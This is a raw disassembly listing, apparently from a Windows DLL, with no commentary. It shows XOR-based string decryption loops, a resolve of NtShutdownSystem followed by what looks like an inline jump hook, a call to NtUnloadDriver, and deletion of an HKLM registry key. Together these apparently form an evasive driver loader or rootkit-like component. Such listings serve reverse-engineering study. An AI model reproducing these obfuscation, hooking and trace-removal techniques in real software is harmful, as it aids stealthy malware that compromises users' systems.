pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add edx, 8
lea rcx, [rcx + 0x10]
cmp edx, 0x20
jl 0x180007480
lea rcx, [rbp + 0xbf0]
call fcn.1800158e0
movzx r14d, al
jmp 0x180007630
lea r9, [rbp + 0xbf0]
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x20
jl 0x1800075a0
lea rcx, [rbp + 0xbf0]
call fcn.1800158e0
movzx r14d, al
jmp 0x180007630
mov dword [rsp + 0x40], ebx
lea r9, [rsp + 0x40]
mov r8, rax
lea rdx, [rsp + 0x5c]
lea rcx, [rbp + 0x11f0]
call fcn.180016dc0
mov r8d, dword [rsp + 0x40]
lea rcx, [rbp + 0x2c8]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x138]
mov rdx, rax
lea rcx, [rbp + 0x11f0]
call fcn.180016820
mov r14, rax
mov r13d, 4
mov r12d, dword [0x18008a250]
test r14, r14
je 0x180007b13
mov dword [rbp + 0x1170], ebx
mov esi, r13d
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
mov eax, dword [r13 + rcx]
cmp dword [0x18008a298], eax
jle 0x180007936
lea rcx, [0x18008a298]
call fcn.180027290
cmp dword [0x18008a298], 0xffffffff
jne 0x180007936
mov rax, qword [str.UWVSK__]
mov qword [rbp + 0x48], rax
cmp byte [0x18002ac27], 0
je 0x1800077c3
cmp r15d, 2
jl 0x180007781
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x48]
xorps xmm2, xmm1
movd dword [rbp + 0x48], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4c]
xorps xmm2, xmm1
movd dword [rbp + 0x4c], xmm2
jmp 0x1800077c3
lea r9, [rbp + 0x48]
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x180007790
mov eax, dword [0x18002abd8]
mov dword [rbp - 8], eax
movsd xmm0, qword [str.VMUHWOPSn_:D]
movzx eax, byte [0x18002abdc]
movsd qword [rbp - 0x10], xmm0
mov byte [rbp - 4], al
mov r8d, ebx
cmp r15d, 2
jl 0x1800078d0
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.VMUHWOPSn_:D]
xorps xmm1, xmm0
movd dword [rbp - 0x10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0xc]
xorps xmm2, xmm1
movd dword [rbp - 0xc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800078e0
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x10]
call fcn.180001f60
mov qword [0x18008a300], rax
lea rcx, [0x18008a298]
call fcn.180027224
mov esi, r13d
mov r12, qword [0x18008a300]
mov ecx, dword [0x18008a250]
mov rax, qword gs:[0x58]
mov rcx, qword [rax + rcx*8]
mov eax, dword [rsi + rcx]
cmp dword [0x18008a2f8], eax
jle 0x1800079a0
lea rcx, [0x18008a2f8]
call fcn.180027290
cmp dword [0x18008a2f8], 0xffffffff
jne 0x1800079a0
lea rcx, [0x18002a978]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18008a2b8], rax
lea rcx, [0x18008a2f8]
call fcn.180027224
mov dword [rbp + 0x1a00], 0x25ff
mov word [rbp + 0x1a04], 0
mov qword [rbp + 0x1a06], r12
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x1378], 0xe
lea rcx, [rbp + 0x1b00]
mov qword [rbp + 0x1020], rcx
mov qword [rbp + 0x1028], rax
mov rcx, qword [rbp + 0x1228]
test rcx, rcx
je 0x18000e6d9
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x1378]
lea r8, [rbp + 0x1020]
lea rdx, [rbp + 0x1028]
call r10
test al, al
je 0x180007b0c
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x13a8], 0xe
lea rcx, [rbp + 0x1a00]
mov qword [rbp + 0xfd0], rcx
mov qword [rbp + 0x1038], rax
mov rcx, qword [rbp + 0x1268]
test rcx, rcx
je 0x18000e6d9
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x13a8]
lea r8, [rbp + 0xfd0]
lea rdx, [rbp + 0x1038]
call r10
test al, al
je 0x180007b0c
mov rax, qword [0x18008a2b8]
lea rdx, [r14 + 3]
mov r8d, 4
lea rcx, [rbp + 0x1170]
call rax
mov rsi, rax
mov rcx, qword [0x18008a2a8]
mov qword [rbp + 0x13b0], 0xe
lea rax, [rbp + 0x1b00]
mov qword [rbp + 0x1048], rax
mov qword [rbp + 0x1050], rcx
mov rcx, qword [rbp + 0x1268]
test rcx, rcx
je 0x18000e6d9
mov rdx, qword [rcx]
mov r10, qword [rdx + 0x10]
lea r9, [rbp + 0x13b0]
lea r8, [rbp + 0x1048]
lea rdx, [rbp + 0x1050]
call r10
test al, al
je 0x180007b0c
test rsi, rsi
je 0x180007b0c
movsxd rdx, dword [rbp + 0x1170]
add rdx, 7
add rdx, r14
mov r12d, dword [0x18008a250]
jmp 0x180007b16
mov r12d, dword [0x18008a250]
mov rdx, rbx
lea rcx, [rbp + 0x11f0]
call fcn.180010b80
test rax, rax
jne 0x180008545
lea rdx, [rbp + 0x1198]
lea rcx, [rbp + 0xf60]
call fcn.18000fea0
mov r14, rax
mov qword [rbp - 0x60], rax
mov rcx, qword [rbp + 0x11b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x18000833f
movups xmm0, xmmword [str.dk_UNJM9]
movups xmmword [rbp + 0x868], xmm0
movups xmm1, xmmword [0x18002acd0]
movups xmmword [rbp + 0x878], xmm1
movups xmm0, xmmword [0x18002ace0]
movups xmmword [rbp + 0x888], xmm0
mov eax, dword [0x18002acf0]
mov dword [rbp + 0x898], eax
movzx eax, byte [0x18002acf4]
mov byte [rbp + 0x89c], al
mov r8d, ebx
cmp r15d, 2
jl 0x180007cb5
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x86c]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x180007bc0
cmp r8d, 0x35
jge 0x180007d03
movsxd rax, r8d
lea r9, [rbp + 0x868]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x180007cd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x12f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1308], xmm1
lea rax, [rbp + 0x868]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x180007d22
lea rdx, [rbp + 0x868]
lea rcx, [rbp + 0x12f8]
call fcn.180011280
nop
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x180007d51
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rbp + 0x12f8]
call fcn.180010440
lea rdx, [rbp + 0x12f8]
cmp qword [rbp + 0x1310], 0xf
cmova rdx, qword [rbp + 0x12f8]
lea rcx, [rbp + 0x1560]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x1560]
lea rcx, [rbp + 0x1650]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x1650]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
mov qword [rbp + 0xf98], rbx
mov ecx, r12d
mov rax, qword gs:[0x58]
mov rax, qword [rax + rcx*8]
lea rsi, [0x18008a2d8]
mov eax, dword [r13 + rax]
cmp dword [0x18008a29c], eax
jle 0x180007fe4
lea rcx, [0x18008a29c]
call fcn.180027290
cmp dword [0x18008a29c], 0xffffffff
jne 0x180007fe4
movups xmm0, xmmword [str.k_IOYPb5301]
movups xmmword [rbp + 0x3f0], xmm0
movups xmm1, xmmword [0x18004a9b0]
movups xmmword [rbp + 0x400], xmm1
movzx eax, word [0x18004a9c0]
mov word [rbp + 0x410], ax
movzx eax, byte [0x18004a9c2]
mov byte [rbp + 0x412], al
mov r8d, ebx
cmp r15d, 2
jl 0x180007f45
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x3f4]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x180007e50
cmp r8d, 0x23
jge 0x180007f93
movsxd rax, r8d
lea r9, [rbp + 0x3f0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x180007f60
xorps xmm0, xmm0
movups xmmword [0x18008a2d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [0x18008a2e8], xmm1
lea rax, [rbp + 0x3f0]
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x180007fb0
mov r8, rdi
lea rdx, [rbp + 0x3f0]
mov rcx, rsi
call fcn.180011280
lea rcx, [0x180028f50]
call fcn.18002769c
nop
lea rcx, [0x18008a29c]
call fcn.180027224
cmp qword [0x18008a2f0], 0xf
cmova rsi, qword [0x18008a2d8]
lea r8, [rbp + 0xf98]
mov rdx, rsi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x18000801c
mov rdx, qword [r14]
mov rcx, qword [rbp + 0xf98]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x18000803e
mov rcx, qword [rbp + 0xf98]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0x948]
call fcn.180003080
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x18000805c
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x6e0], rcx
mov qword [rbp + 0x6e8], rax
movups xmm6, xmmword [rbp + 0x6e0]
call fcn.180026890
movaps xmmword [rsp + 0x40], xmm6
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rbp + 0x660]
call fcn.1800104e0
nop
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x1800080a4
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rbp + 0x660]
call fcn.180010440
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x180], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x170], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x180], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rbp + 0x170]
cmp qword [rbp + 0x188], 0xf
cmova rax, qword [rbp + 0x170]
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x6f8], rax
movups xmm6, xmmword [rbp + 0x6f0]
call fcn.180026890
movaps xmmword [rsp + 0x40], xmm6
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rbp + 0x250]
call fcn.180002340
nop
lea rcx, [rbp + 0x250]
cmp qword [rbp + 0x268], 7
cmova rcx, qword [rbp + 0x250]
call fcn.180026f44
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x18000eb5c
mov rdx, qword [rbp + 0x268]
cmp rdx, 7
jbe 0x1800081ba
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800081b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800081b5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x260], xmm15
mov word [rbp + 0x250], bx
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x180008216
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008211
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180008211
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x180], xmm13
mov byte [rbp + 0x170], 0
mov rdx, qword [rbp + 0x678]
cmp rdx, 0xf
jbe 0x180008272
inc rdx
mov rcx, qword [rbp + 0x660]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000826d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000826d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x670], xmm13
mov byte [rbp + 0x660], 0
mov rdx, qword [rbp + 0x960]
cmp rdx, 7
jbe 0x1800082d3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x948]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800082ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800082ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x958], xmm15
mov word [rbp + 0x948], bx
mov rdx, qword [rbp + 0x1310]
cmp rdx, 0xf
jbe 0x18000832f
inc rdx
mov rcx, qword [rbp + 0x12f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000832a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000832a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x1308], xmm13
mov byte [rbp + 0x12f8], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x18000837d
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x180008378
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18000853e
mov rcx, r8
call fcn.1800271e0
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
movups xmm0, xmmword [str.XSWYY]
movups xmmword [rbp + 0x4b8], xmm0
movzx eax, word [0x18004a998]
movups xmm0, xmmword [0x18004a988]
movups xmm1, xmmword [0x18004a978]
mov word [rbp + 0x4e8], ax
movups xmmword [rbp + 0x4d8], xmm0
movups xmmword [rbp + 0x4c8], xmm1
mov r8d, ebx
cmp r15d, 2
jl 0x1800084dd
lea rcx, [rbp + 0x4b8]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x1800083e0
cmp r8d, 0x19
jge 0x180008527
movsxd rax, r8d
lea r9, [rbp + 0x4b8]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x19
jl 0x1800084f0
lea rcx, [rbp + 0x4b8]
call fcn.1800158e0
movzx edi, al
movzx edi, al
jmp 0x18000e61c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov qword [rbp + 0x13f8], rbx
lea rdx, [rax + 0x20]
lea rcx, [rbp + 0x11f0]
call fcn.180010b80
mov qword [rbp - 0x60], rax
lea rdx, [rax + 0x60]
lea rcx, [rbp + 0x11f0]
call fcn.180010b80
mov qword [rbp + 0x1180], rax
mov esi, r13d
mov edx, r12d
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx + rdx*8]
mov ecx, dword [r13 + rdx]
cmp dword [0x18008a298], ecx
jle 0x180008866
lea rcx, [0x18008a298]
call fcn.180027290
cmp dword [0x18008a298], 0xffffffff
jne 0x180008866
mov rax, qword [str.UWVSK__]
mov qword [rbp + 0x50], rax
cmp byte [0x18002ac27], 0
je 0x1800086f3
cmp r15d, 2
jl 0x1800086af
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x50]
xorps xmm2, xmm1
movd dword [rbp + 0x50], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x54]
xorps xmm2, xmm1
movd dword [rbp + 0x54], xmm2
jmp 0x1800086f3
lea r9, [rbp + 0x50]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800086c0
mov eax, dword [0x18002abd8]
mov dword [rbp - 0x18], eax
movsd xmm0, qword [str.VMUHWOPSn_:D]
movzx eax, byte [0x18002abdc]
movsd qword [rbp - 0x20], xmm0
mov byte [rbp - 0x14], al
mov r8d, ebx
cmp r15d, 2
jl 0x180008800
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.VMUHWOPSn_:D]
xorps xmm1, xmm0
movd dword [rbp - 0x20], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x1c]
xorps xmm2, xmm1
movd dword [rbp - 0x1c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x180008810
lea rdx, [rbp + 0x50]
